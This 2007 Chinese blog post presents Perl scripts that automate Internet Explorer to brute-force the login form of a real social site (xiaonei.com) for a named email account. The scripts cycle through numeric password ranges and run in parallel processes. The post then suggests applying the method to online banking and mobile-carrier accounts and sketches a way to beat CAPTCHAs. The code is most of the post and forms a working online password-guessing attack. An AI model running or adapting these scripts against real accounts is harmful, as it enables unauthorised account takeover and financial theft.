posts - 43,  comments - 64,  trackbacks - 0
  Perl是一个异常强大的网络处理工具,而且它的库是相当的多与全面。老同学的网站密码丢了,让我找找看,我就琢磨琢磨学习了一下Perl。
  如果是普通的表单,只需要用Perl自带的LWP库就可以了,但是有些网站会首先检测你的浏览器是否支持Cookies,是否是“真实的”浏览器而不是机器人代理,更有甚者首先检测你的浏览器是否支持脚本,如果不支持脚本是根本不让你浏览任何信息的。这个时候LWP就没有什么用了。
  于是乎我想到了COM,调用Internet Explorer的接口。先用C++实现了一个,速度虽然是快,可是如何获取Document进行网站的反馈判定却成了难题,其中牵涉到一个等待同步的问题,总是出错,一气之下就废了它。去CPAN下载了一个叫做Win32::IEAutomation的库,省得手动初始化COM对象,还要查CSLID等等。guesser脚本很是简单,如下。
use Win32::IEAutomation;

my $low = @ARGV[0];
my $up = @ARGV[1];

if ( $low > $up ){
    
print "UP LOW ERROR!";
    
exit 1;
};

my $ie = Win32::IEAutomation->new( visible => 0 );
$ie->gotoURL('http://xiaonei.com/Login.do');
my $user = "papyna\@126.com";
my $time = time;

while$low <= $up ){
    
my $pwdstr = "";
    
$pwdstr =  sprintf "\%.6u",$low;
    
$ie->getTextBox('id:',"email")->SetValue($user);
    
$ie->getTextBox('id:',"password")->SetValue($pwdstr);
    
$ie->getButton('id:',"login")->Click;
    
$ie->WaitforDone;
    
if$ie->VerifyText('密码错误') ){
    }
else{
        
$time = time - $time;
        
print "Password Is : ",$pwdstr,"\n";
        
print $time," Seconds Passed";
        
exit 0;
    };
    
$low++;
}
print "Not In this range From ",$low," To ",$up,"\n";
exit 0;

  原理很简单,输入一个数字范围,然后一直调用网站的登陆脚本,直到正确的登陆。其实这也牵涉到一个字典的问题,这个就是穷举破解的最大麻烦。不过思想是可以值得借鉴的。速度瓶颈在网络上,机器代码执行得飞快,等待页面反馈太慢。为了,加速,我想到了多线程。通过这个脚本,同时执行多个上述脚本的实例。代码也很简单。
use Win32::Process;
use Win32;

sub ErrorReport{
    
print Win32::FormatMessage( Win32::GetLastError() );
}

Win32
::Process::Create($ProcessObj1,
                                
"C:\\Perl\\bin\\perl.exe",
                                
"perl guesser.pl 870100 870133",
                                
0,
                                NORMAL_PRIORITY_CLASS
,
                                
".")|| die ErrorReport();

Win32
::Process::Create($ProcessObj2,
                                
"C:\\Perl\\bin\\perl.exe",
                                
"perl guesser.pl 861095 861231",
                                
0,
                                NORMAL_PRIORITY_CLASS
,
                                
".")|| die ErrorReport();

$ProcessObj1->Wait(INFINITE);
$ProcessObj2->Wait(INFINITE);

  然后就是漫长的等待了,甚至可以听到浏览器的声音,速度缓慢的真是痛苦。不过,破解招商银行网上银行大众版 —— HTTPS连接与加密插件,IE都是内置,只要先安装好,就可以传入URL进行穷举了。不过有个问题就是,验证码。对于这个我还没有实现,不过思路很简单,手动写一个读写图像文件,判断数字的函数,图片可以从IE缓存获得。破解移动联通手机号码密码也可以顺着这个思路来。

  末了提醒大家,就用Google的原则,“不要做恶”。
posted on 2007-02-16 21:55 周波 阅读(2008) 评论(1)  编辑 收藏 引用 所属分类: 无庸技术奇思妙想

FeedBack:
# re: Perl穷举破解表单密码的实现
2007-02-17 19:37 | AIBPXTSHMF
波波学东西就是快啊!厚积薄发啊  回复  更多评论
  

只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理


<2006年10月>
24252627282930
1234567
891011121314
15161718192021
22232425262728
2930311234

周波 87年出生 南京林业大学05421班242信箱 专业木材科学与工程工业装备与过程自动化 迁移到 jedimaster(dot)cnblogs(dot)com

常用链接

留言簿(4)

随笔分类

随笔档案

新闻档案

同学们Blog

搜索

  •  

积分与排名

  • 积分 - 53114
  • 排名 - 423

最新评论

阅读排行榜